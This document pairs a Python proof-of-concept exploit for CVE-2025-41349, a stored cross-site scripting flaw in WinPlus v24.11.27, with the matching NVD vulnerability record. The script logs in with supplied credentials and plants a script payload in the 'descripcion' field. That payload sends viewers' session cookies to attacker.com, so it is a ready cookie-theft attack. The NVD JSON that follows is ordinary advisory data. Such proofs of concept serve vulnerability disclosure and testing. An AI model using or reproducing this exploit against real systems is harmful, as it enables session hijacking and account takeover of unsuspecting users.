CVE-2025-41349

import requests import sys # CVE-2025-41349 PoC - Stored XSS in WinPlus v24.11.27 # Target: /WinPlusPortal/ws/sWinplus.svc/json/savesolpla_post def exploit_stored_xss(target_url, username, password): """ Exploit stored XSS vulnerability in WinPlus via descripcion parameter """ # XSS payload to steal session cookies xss_payload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>' # Step 1: Authenticate to WinPlus Portal login_url = f"{target_url}/WinPlusPortal/login" session = requests.Session() login_data = { 'username': username, 'password': password } try: # Attempt login login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Send malicious XSS payload via POST request exploit_url = f"{target_url}/WinPlusPortal/ws/sWinplus.svc/json/savesolpla_post" exploit_data = { 'descripcion': xss_payload, # Add other required parameters based on application logic } exploit_response = session.post(exploit_url, json=exploit_data, timeout=10) if exploit_response.status_code == 200: print("[+] XSS payload sent successfully") print("[*] Payload stored in 'descripcion' parameter") print("[*] When other users view the data, cookie will be stolen") return True else: print("[-] Exploit failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://vulnerable.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_stored_xss(target, user, pwd)

{"cve": {"id": "CVE-2025-41349", "sourceIdentifier": "[email protected]", "published": "2025-11-18T12:15:45.843", "lastModified": "2025-11-19T19:13:44.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stored Cross-site Scripting (XSS)vylnerability type in WinPlus v24.11.27 byInformática del Este that consist of an stored XSS of a stored XSS due to a lack of proper validation of user input by sending a POST request using the 'descripcion' parameter in '/WinplusPortal/ws/sWinplus. svc/json/savesolpla_post'. This vulnerability could allow a remote user to send a specially crafted query to an authenticated user and steal their cookie session details."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:iest:winplus:24.11.27:*:*:*:-:*:*:*", "matchCriteriaId": "1A66AD43-00CF-49F5-BF3A-C88CE8F59E4B"}]}]}], "references": [{"url": "https://www.incibe.es/en/incibe-cert/notices/aviso/stored-cross-site-scripting-xss-winplus-informatica-del-este", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}